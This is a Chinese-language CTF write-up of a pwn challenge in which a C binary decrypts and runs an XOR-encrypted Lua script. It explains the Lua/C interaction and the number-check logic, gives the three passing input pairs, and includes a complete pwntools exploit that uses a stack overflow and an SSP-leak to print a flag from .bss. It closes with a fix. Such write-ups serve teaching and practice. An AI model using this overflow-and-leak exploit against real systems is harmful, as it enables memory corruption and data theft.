一道结合lua的pwn题--出题思路与解题过程
字数 1216 2025-08-24 07:48:09
Lua与Pwn结合题目解析与教学文档
1. 题目概述
这是一道结合Lua脚本的Pwn题目,主要考察以下知识点:
- Lua与C程序的交互机制
- Lua脚本的加密与解密
- 逆向分析能力
- 栈溢出漏洞利用
- SSP (Stack Smashing Protector) leak技术
题目结构包含:
- 二进制可执行文件
Lua_magic - 加密的Lua脚本
main.lua - flag文件
2. 程序流程分析
2.1 主程序流程
- 读取并解密加密的Lua脚本
- 初始化Lua环境
- 加载解密后的Lua脚本
- 与用户进行三次数字交互验证
- 存在缓冲区溢出漏洞的read调用
2.2 关键函数分析
加密/解密函数
uint8_t *enc(uint8_t *data, int size) {
uint8_t *temp = (uint8_t *)malloc(size);
int k[3] = {2,3,5}; // 加密密钥
int i;
if (size) {
for (i = 0; i < size; i++) {
temp[i] = data[i]^k[i%3]; // 简单的异或加密
}
return temp;
}
}
Lua环境初始化
lua_State *luaEnv = lua_open(); // 创建Lua环境
luaopen_base(luaEnv); // 加载基础库
luaL_openlibs(luaEnv); // 加载所有标准库
Lua脚本加载与执行
int loadInfo = luaL_loadstring(luaEnv,rea); // 加载解密后的Lua脚本
lua_pcall(luaEnv,0,0,0); // 执行Lua脚本
lua_getglobal(luaEnv,"hndl"); // 获取Lua函数hndl
lua_pushnumber(luaEnv,i); // 压入参数
lua_pushnumber(luaEnv,j);
lua_pcall(luaEnv,2,1,0); // 调用函数
3. Lua脚本分析
3.1 原始Lua脚本
function BitXOR(a,b)
local p,c=1,0
while a>0 and b>0 do
local ra,rb=a%2,b%2
if ra~=rb then c=c+p end
a,b,p=(a-ra)/2,(b-rb)/2,p*2
end
if a<b then a=b end
while a>0 do
local ra=a%2
if ra>0 then c=c+p end
a,p=(a-ra)/2,p*2
end
return c
end
function hndl(i,j)
j = BitXOR(5977654,j)
return BitXOR(i,j)
end
3.2 Lua脚本功能
BitXOR函数实现了位异或运算(因为Lua 5.1没有原生位运算支持)hndl函数处理输入的两个数字:- 首先将第二个参数j与5977654进行异或
- 然后将结果与第一个参数i进行异或
- 返回最终结果
4. 漏洞分析
4.1 主要漏洞
char b[4];
// ...
read(0,b,280); // 明显的栈溢出漏洞
4.2 利用条件
- 需要先通过三次数字验证
- 溢出长度足够覆盖返回地址
- 程序没有开启PIE,flag存储在.bss段
5. 解题步骤
5.1 动态调试获取解密后的Lua脚本
- 在
enc函数执行后设置断点 - 从内存中dump出解密后的Lua脚本
5.2 逆向Lua验证逻辑
- 分析
hndl函数的处理逻辑 - 由于程序使用
random()函数进行验证,需要逆向计算正确的输入
5.3 构造正确的输入
- 需要构造三个数字对(i,j)使得
hndl(i,j) == random() - 通过逆向计算可以得到:
- 第一组:i=1, j=1808823120
- 第二组:i=1, j=840963569
- 第三组:i=1, j=1684516446
5.4 利用栈溢出
- 通过溢出覆盖返回地址
- 利用SSP leak技术读取flag
- flag存储在.bss段地址0x602140
5.5 完整exp
from pwn import *
context.log_level = 'debug'
p = process('./Lua_magic')
# 通过三次验证
p.recvuntil("Enter two numbers in your heart;)\n")
p.sendline("1")
p.sendline("1808823120")
sleep(1)
p.recvuntil("Enter two numbers in your heart;)\n")
p.sendline("1")
p.sendline("840963569")
sleep(1)
p.recvuntil("Enter two numbers in your heart;)\n")
p.sendline("1")
p.sendline("1684516446")
sleep(1)
# 利用栈溢出
p.send(p64(0x602140)*35)
p.interactive()
6. 修复建议
// 原漏洞代码
read(0,b,280);
// 修复方案
read(0,b,4); // 限制读取长度不超过缓冲区大小
7. 知识点总结
-
Lua与C交互:
lua_open()创建Lua环境luaL_loadstring()加载Lua代码lua_pcall()执行Lua代码lua_getglobal()获取Lua函数- 参数通过堆栈传递
-
加密/解密:
- 简单的异或加密
- 可逆的加密算法
-
漏洞利用:
- 栈溢出漏洞利用
- SSP leak技术
- .bss段数据读取
-
逆向分析:
- Lua脚本逆向
- 加密算法逆向
- 验证逻辑逆向
8. 扩展思考
- 可以增加Lua脚本的复杂度,如加入更多验证逻辑
- 可以改进加密算法,增加逆向难度
- 可以结合更多Lua特性,如闭包、元表等
- 可以增加漏洞利用的难度,如加入更多保护机制
9. 参考资源
- Lua 5.1参考手册
- Lua与C交互指南
- Pwn技术相关文档
- 逆向工程工具使用(IDA、GDB等)